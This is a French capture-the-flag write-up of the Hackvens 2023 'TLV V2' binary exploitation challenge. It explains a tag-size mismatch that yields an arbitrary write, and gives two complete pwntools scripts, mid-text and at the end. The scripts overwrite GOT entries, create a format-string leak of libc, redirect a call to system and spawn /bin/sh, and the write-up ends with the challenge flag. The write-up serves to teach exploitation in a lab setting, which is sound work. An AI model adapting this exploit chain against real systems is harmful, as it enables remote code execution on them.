[Hackvens 2023][Write Up – Pwn] TLV V2
Enoncé
Bon, il semblerait que mon premier essai n’était pas des meilleurs… J’ai amélioré mon programme pour y ajouter plus de sécurité.
nc 35.180.250.126 1337
Reconnaissance
Le binaire « TLV2.elf » qui est fourni est un exécutable linux x86-64.
En termes de protections:
- Partial RELRO: La Global Offset Table (GOT) est réinscriptible.
- Canary: Protections contre les buffers overflow
- NX: La stack n’est pas exécutable
- No PIE: Les adresses du programme seront fixes
Reverse
Trois fonctions semblent importantes ici:
- get_tag
- get_value
- Main
La fonction get_tag écrit un long int (de taille 8 bytes), provenant de stdin (entrée utilisateur), et l’écrit à l’adresse passée en argument.
La fonction get_value appelle la fonction getline, qui récupère l’entrée utilisateur, et l’alloue à l’adresse passée en argument. Si cette valeur est nulle, l’adresse sera allouée dans la heap.
Enfin, get_value retire s’il y en a un, le retour à la ligne.
La fonction main récupère un tag à l’adresse rbp-0x20, et récupère une valeur à l’adresse rbp-0x1c. Le programme récupère alors la taille de l’entrée utilisateur, et affiche le tag, la taille de l’entrée utilisateur, et l’entrée utilisateur.
La vulnérabilité
Le tag récupéré par la fonction get_tag est de taille 8 bytes. Cependant, la variable dans laquelle ce dernier est stocké est de taille 4 bytes, permettant de dépasser sur l’adresse envoyée dans get_value (qui sera envoyée en argument de getline). Ainsi, plutôt que d’envoyer un argument nul à get_value, il est possible d’y envoyer une adresse, et d’y réécrire son contenu.
On a donc un Arbitrary Write.
Exploitation – ret2main et préparation
Comme la GOT est réinscriptible, on va s’en servir pour réécrire les adresses des fonctions et les réarranger.
Premièrement, on va réécrire strlen, et la remplacer par l’adresse de main, pour pouvoir réécrire à l’infini.
Aussi, pour pouvoir commencer à lire la mémoire, on va remplacer la fonction strcspn (qui retirait le retour à la ligne dans l’entrée utilisateur), par la fonction printf, pour introduire une vulnérabilité format string, qui nous permettra de lire la mémoire.
from pwn import * r = remote('35.180.250.126',1337) #ret2main r.recvline() reloc_puts = 0x00404008 #On envoie reloc_puts en argument de la fonction get_value: val = 0xffffffff|reloc_puts<<32 payload = str(val).encode() r.sendline(payload) r.recvline() main = 0x00401373 printf = 0x00401070 #on remplacer les adresses dans la got: payload = p64(0x00401040)+p64(main)+p64(0x00401060)+p64(0x00401070)+p64(printf)+p64(0x00401090)+p64(0x004010a0)+p64(0x004010b0)+p64(0x004010c0) r.sendline(payload)
Exploitation – leak, et récupération d’un shell
Maintenant que l’on peut leak la mémoire, on va récupérer l’adresse des fonctions de la GOT, pour pouvoir trouver l’adresse de la fonction system.
Pour cela, on va premièrement trouver l’adresse de notre entrée dans la mémoire. En regardant la stack, on peut voir que l’adresse que l’on a indiqué (le tag) se trouve en position 25, on peut donc récupérer l’adresse de puts dans la libc.
Ici en exécutant le programme en local:
Pour en savoir plus sur les formats string, n’hésitez pas à lire l’article sur l’épreuve du même CTF: rot13 as a service..
Après avoir discuté avec l’auteur de challenge, le programme tourne dans un docker Archlinux à jour. On peut alors s’en servir pour récupérer la libc et récupérer l’adresse de system:
docker run -t archlinux:latest docker ps #récupérer l'id du docker docker cp [id]:/usr/lib/libc.so.6 ./
Enfin, on peut remplacer l’adresse de strscpn par l’adresse de system. On peut écraser l’adresse juste avant pour que la chaine de caractère commence par « /bin/sh ».
Solve.py
from pwn import * r = remote('35.180.250.126',1337) #ret2main r.recvline() reloc_puts = 0x00404008 val = 0xffffffff|reloc_puts<<32 payload = str(val).encode() r.sendline(payload) r.recvline() main = 0x00401373 payload = p64(0x00401040) + p64(main)+p64(0x00401060)+p64(0x00401070)+p64(0x00401070)+p64(0x00401090)+p64(0x004010a0)+p64(0x004010b0)+p64(0x004010c0) r.sendline(payload) #leak_libc r.recvline() r.sendline(b'1') r.recvline() r.sendline(b'%25$s') leaked_puts = int.from_bytes(r.recvline()[:-1], 'little') libc_puts = 0x00079bf0 libc_start = leaked_puts - libc_puts libc_system = 0x0004f760 #system r.recvline() reloc_printf = 0x00404020 val = 0xffffffff|reloc_printf<<32 payload = str(val).encode() r.sendline(payload) r.recvline() payload = b'/bin/sh\x00'+p64(libc_start+libc_system) r.sendline(payload) r.interactive()
FLAG
HACKVENS{Typ3_C0nfUs10n1337}